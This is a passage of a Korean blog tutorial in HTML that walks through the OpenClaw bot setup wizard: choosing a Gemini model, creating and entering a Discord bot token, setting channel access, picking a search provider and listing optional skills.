&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;◆&amp;nbsp;&amp;nbsp;&lt;b&gt;Default&amp;nbsp;model&lt;/b&gt; &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Keep&amp;nbsp;current&amp;nbsp;(google/gemini-3.1-pro-preview) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Enter&amp;nbsp;model&amp;nbsp;manually &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-1.5-flash &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-1.5-flash-8b &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-1.5-pro &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.0-flash &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.0-flash-lite &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-flash &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-flash-lite &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-flash-lite-preview-06-17 &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-flash-lite-preview-09-2025 &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-flash-preview-04-17 &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-flash-preview-05-20 &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-flash-preview-09-2025 &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-pro &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-pro-preview-05-06 &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-2.5-pro-preview-06-05 &lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;google/gemini-3-flash-preview&amp;nbsp;(Gemini&amp;nbsp;3&amp;nbsp;Flash&amp;nbsp;Preview&amp;nbsp;&amp;middot;&amp;nbsp;ctx&amp;nbsp;1024k&amp;nbsp;&amp;middot;&amp;nbsp;reasoning) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-3-pro-preview &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-3.1-flash-lite-preview &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-3.1-pro-preview &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-3.1-pro-preview-customtools &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-flash-latest &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-flash-lite-latest &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-live-2.5-flash &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;google/gemini-live-2.5-flash-preview-native-audio &lt;br /&gt;└&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;봇의 메인 모델을 선택한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;Flash : &lt;/b&gt;응답 속도가 매우 빠르고 가볍다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,1,0,0&quot;&gt;용도:&lt;/b&gt; 단순 대화, 빠른 명령어 실행, 실시간 정보 검색에 최적화되어 있습니다. 무료 할당량이 넉넉해 개인용 봇으로 가장 추천&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;Pro &lt;/b&gt;&lt;b data-index-in-node=&quot;30&quot; data-path-to-node=&quot;4,1,0&quot;&gt;:&lt;/b&gt; 추론 능력이 뛰어나고 복잡한 코딩이나 긴 문맥 파악에 강하다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,1,0,0&quot;&gt;용도:&lt;/b&gt; 어려운 문제를 풀거나 방대한 데이터를 분석할 때 좋지만, Flash보다 응답 속도가 조금 느릴 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 3. 채널 연결 (디스코드)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Select channel&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;◆&amp;nbsp;&amp;nbsp;&lt;b&gt;Select&amp;nbsp;channel&amp;nbsp;(QuickStart)&lt;/b&gt; &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Telegram&amp;nbsp;(Bot&amp;nbsp;API) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;WhatsApp&amp;nbsp;(QR&amp;nbsp;link) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;Discord&amp;nbsp;(Bot&amp;nbsp;API)&amp;nbsp;(needs&amp;nbsp;token) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;IRC&amp;nbsp;(Server&amp;nbsp;+&amp;nbsp;Nick) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Google&amp;nbsp;Chat&amp;nbsp;(Chat&amp;nbsp;API) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Slack&amp;nbsp;(Socket&amp;nbsp;Mode) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Signal&amp;nbsp;(signal-cli) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;iMessage&amp;nbsp;(imsg) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;LINE&amp;nbsp;(Messaging&amp;nbsp;API) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Feishu/Lark&amp;nbsp;(飞书) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Nostr&amp;nbsp;(NIP-04&amp;nbsp;DMs) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Microsoft&amp;nbsp;Teams&amp;nbsp;(Bot&amp;nbsp;Framework) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Mattermost&amp;nbsp;(plugin) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Nextcloud&amp;nbsp;Talk&amp;nbsp;(self-hosted) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Matrix&amp;nbsp;(plugin) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;BlueBubbles&amp;nbsp;(macOS&amp;nbsp;app) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Zalo&amp;nbsp;(Bot&amp;nbsp;API) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Zalo&amp;nbsp;(Personal&amp;nbsp;Account) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Synology&amp;nbsp;Chat&amp;nbsp;(Webhook) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Tlon&amp;nbsp;(Urbit) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Twitch&amp;nbsp;(Chat) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Skip&amp;nbsp;for&amp;nbsp;now &lt;br /&gt;└&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;봇을 어디서 쓸지 정하는 단계이다. [Discord]를 선택한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-size: 1.12em; letter-spacing: 0px;&quot;&gt;OpenClaw와 Discord를 연결하기 위해 &lt;/span&gt;&lt;a style=&quot;font-size: 1.12em; letter-spacing: 0px;&quot; href=&quot;https://discord.com/developers/applications&quot; data-ved=&quot;0CAAQ_4QMahgKEwifwce8262TAxUAAAAAHQAAAAAQ6gw&quot; data-hveid=&quot;0&quot;&gt;Discord Developer Portal&lt;/a&gt;&lt;span style=&quot;font-size: 1.12em; letter-spacing: 0px;&quot;&gt;에서 봇 토큰을 발급받아야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;봇토큰 발급 방법&lt;/b&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;1. 봇 생성 및 토큰 복사&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://discord.com/developers/applications&quot; data-ved=&quot;0CAAQ_4QMahgKEwifwce8262TAxUAAAAAHQAAAAAQ-Qw&quot; data-hveid=&quot;0&quot;&gt;Discord Developer Portal&lt;/a&gt; 접속 및 로그인.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;'New Application'&lt;/b&gt; 클릭 후 봇 이름 입력.&lt;/li&gt;
&lt;li&gt;왼쪽 메뉴 &lt;b data-index-in-node=&quot;6&quot; data-path-to-node=&quot;9,2,0&quot;&gt;'Bot'&lt;/b&gt; 탭 클릭 -&amp;gt; 'Reset Token'을 눌러 생성된 토큰을 복사한다. (생성 시만 볼 수 있으므로 복사 잘 해두기)&lt;/li&gt;
&lt;li&gt;같은 페이지 하단 &lt;b data-index-in-node=&quot;10&quot; data-path-to-node=&quot;9,3,0&quot;&gt;'Privileged Gateway Intents'&lt;/b&gt; 항목에서 3가지 옵션(Presence, Server Members, Message Content)을 모두 &lt;b data-index-in-node=&quot;98&quot; data-path-to-node=&quot;9,3,0&quot;&gt;ON&lt;/b&gt;으로 켠다. (이걸 안 켜면 봇이 메시지를 못 읽음!)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhWenp/dJMcagEQYrZ/y9HgMkhTJMZkCPdHNoEotk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhWenp/dJMcagEQYrZ/y9HgMkhTJMZkCPdHNoEotk/img.png&quot; style=&quot;width: 40.5754%; margin-right: 10px;&quot; data-widthpercent=&quot;41.05&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;562&quot; data-origin-width=&quot;937&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhWenp/dJMcagEQYrZ/y9HgMkhTJMZkCPdHNoEotk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhWenp%2FdJMcagEQYrZ%2Fy9HgMkhTJMZkCPdHNoEotk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;562&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6P9ng/dJMcahX2as6/RfEf2fqTc2ApsbJuDW3j71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6P9ng/dJMcahX2as6/RfEf2fqTc2ApsbJuDW3j71/img.png&quot; style=&quot;width: 58.2618%;&quot; data-widthpercent=&quot;58.95&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;934&quot; data-origin-width=&quot;2236&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6P9ng/dJMcahX2as6/RfEf2fqTc2ApsbJuDW3j71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6P9ng%2FdJMcahX2as6%2FRfEf2fqTc2ApsbJuDW3j71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2236&quot; height=&quot;934&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10&quot;&gt;2. 서버 초대 URL 만들기&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;왼쪽 메뉴 &lt;b data-index-in-node=&quot;6&quot; data-path-to-node=&quot;11,0,0&quot;&gt;'OAuth2'&lt;/b&gt; -&amp;gt; &lt;b data-index-in-node=&quot;18&quot; data-path-to-node=&quot;11,0,0&quot;&gt;'URL Generator'&lt;/b&gt; 클릭.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0&quot;&gt;Scopes:&lt;/b&gt; bot 체크.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,2,0&quot;&gt;Bot Permissions:&lt;/b&gt; Administrator (관리자 권한, 가장 편함) 혹은 필요한 권한 체크.&lt;/li&gt;
&lt;li&gt;하단에 생성된 &lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;11,3,0&quot;&gt;Generated URL&lt;/b&gt;을 복사해 브라우저에 입력하고, 내 서버를 선택해 초대한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XgpdA/dJMcafeTaQ4/6NPetRpKmUrVlchacu5gyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XgpdA/dJMcafeTaQ4/6NPetRpKmUrVlchacu5gyk/img.png&quot; data-origin-width=&quot;2073&quot; data-origin-height=&quot;1092&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.0165%; margin-right: 10px;&quot; data-widthpercent=&quot;51.62&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XgpdA/dJMcafeTaQ4/6NPetRpKmUrVlchacu5gyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXgpdA%2FdJMcafeTaQ4%2F6NPetRpKmUrVlchacu5gyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2073&quot; height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TWLkM/dJMcabjfc3G/Op5AZXxKXrUzG3YTcxSOk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TWLkM/dJMcabjfc3G/Op5AZXxKXrUzG3YTcxSOk1/img.png&quot; data-origin-width=&quot;2146&quot; data-origin-height=&quot;1206&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.8207%;&quot; data-widthpercent=&quot;48.38&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TWLkM/dJMcabjfc3G/Op5AZXxKXrUzG3YTcxSOk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTWLkM%2FdJMcabjfc3G%2FOp5AZXxKXrUzG3YTcxSOk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2146&quot; height=&quot;1206&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Discord bot token &lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;How&amp;nbsp;do&amp;nbsp;you&amp;nbsp;want&amp;nbsp;to&amp;nbsp;provide&amp;nbsp;this&amp;nbsp;Discord&amp;nbsp;bot&amp;nbsp;token? &lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;Enter&amp;nbsp;Discord&amp;nbsp;bot&amp;nbsp;token&amp;nbsp;(Stores&amp;nbsp;the&amp;nbsp;credential&amp;nbsp;directly&amp;nbsp;in&amp;nbsp;OpenClaw&amp;nbsp;config) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Use&amp;nbsp;external&amp;nbsp;secret&amp;nbsp;provider &lt;br /&gt;└&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;봇 토큰을 직접 입력하는 방식인 [Enter Discord bot token]을 선택한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;- &lt;b&gt;Enter&amp;nbsp;Discord&amp;nbsp;bot&amp;nbsp;token&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;Enter&amp;nbsp;Discord&amp;nbsp;bot&amp;nbsp;token &lt;br /&gt;│&amp;nbsp;&amp;nbsp;_ &lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;a style=&quot;color: #0070d1; text-align: start;&quot; href=&quot;https://discord.com/developers/applications&quot; data-ved=&quot;0CAAQ_4QMahgKEwifwce8262TAxUAAAAAHQAAAAAQ6gw&quot; data-hveid=&quot;0&quot;&gt;Discord Developer Portal&lt;/a&gt;에서&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;발급받은 봇 토큰을 붙여넣는다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;Discord channels access&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;Configure&amp;nbsp;Discord&amp;nbsp;channels&amp;nbsp;access? &lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;Yes&amp;nbsp;/&amp;nbsp;○&amp;nbsp;No &lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;보안 설정 옵션이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;Discord&amp;nbsp;channels&amp;nbsp;access &lt;br /&gt;│&amp;nbsp; ○ &amp;nbsp;Allowlist (recommended) &lt;br /&gt;│&amp;nbsp; ●&amp;nbsp;Open (allow all channels) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Disabled&amp;nbsp;(block&amp;nbsp;all&amp;nbsp;channels) &lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;개인용이라면 [Open (allow all channels)]을 추천한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. 부가 기능 (검색 및 스킬) &lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Search provider &lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;Search&amp;nbsp;provider &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Brave&amp;nbsp;Search &lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;Gemini&amp;nbsp;(Google&amp;nbsp;Search)&amp;nbsp;(Google&amp;nbsp;Search&amp;nbsp;grounding&amp;nbsp;&amp;middot;&amp;nbsp;AI-synthesized) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Grok&amp;nbsp;(xAI) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Kimi&amp;nbsp;(Moonshot) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Perplexity&amp;nbsp;Search &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Skip&amp;nbsp;for&amp;nbsp;now &lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실시간 정보 검색을 위해 [Gemini (Google Search)]를 선택한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Configure skills now? &lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;Gemini&amp;nbsp;(Google&amp;nbsp;Search)&amp;nbsp;API&amp;nbsp;key &lt;br /&gt;│&amp;nbsp;&amp;nbsp;AIza... &lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;- &lt;b&gt;Skills &amp;amp; Hooks &lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;Configure&amp;nbsp;skills&amp;nbsp;now?&amp;nbsp;(recommended) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;Yes&amp;nbsp;/&amp;nbsp;○&amp;nbsp;No &lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;봇에게 추가 능력을 주는 단계다. 필요에 따라 선택하거나 잘 모를 경우 &lt;b data-index-in-node=&quot;58&quot; data-path-to-node=&quot;27,1,0&quot;&gt;Skip&lt;/b&gt; 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;◆&amp;nbsp;&amp;nbsp;Install&amp;nbsp;missing&amp;nbsp;skill&amp;nbsp;dependencies &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp;Skip&amp;nbsp;for&amp;nbsp;now&amp;nbsp;(Continue&amp;nbsp;without&amp;nbsp;installing&amp;nbsp;dependencies) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;1password &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;blogwatcher &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;blucli &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;camsnap &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;clawhub &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;eightctl &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;gifgrep &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;github &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;gog &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;goplaces &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;himalaya &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;mcporter &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;nano-banana-pro &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;nano-pdf &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;obsidian &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;openai-whisper &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;openhue &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;oracle &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;ordercli &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;sag &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;songsee &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;sonoscli &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;summarize &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;video-frames &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;wacli &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;xurl &lt;br /&gt;└&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Enable hooks? &lt;/b&gt;&lt;/p&gt;
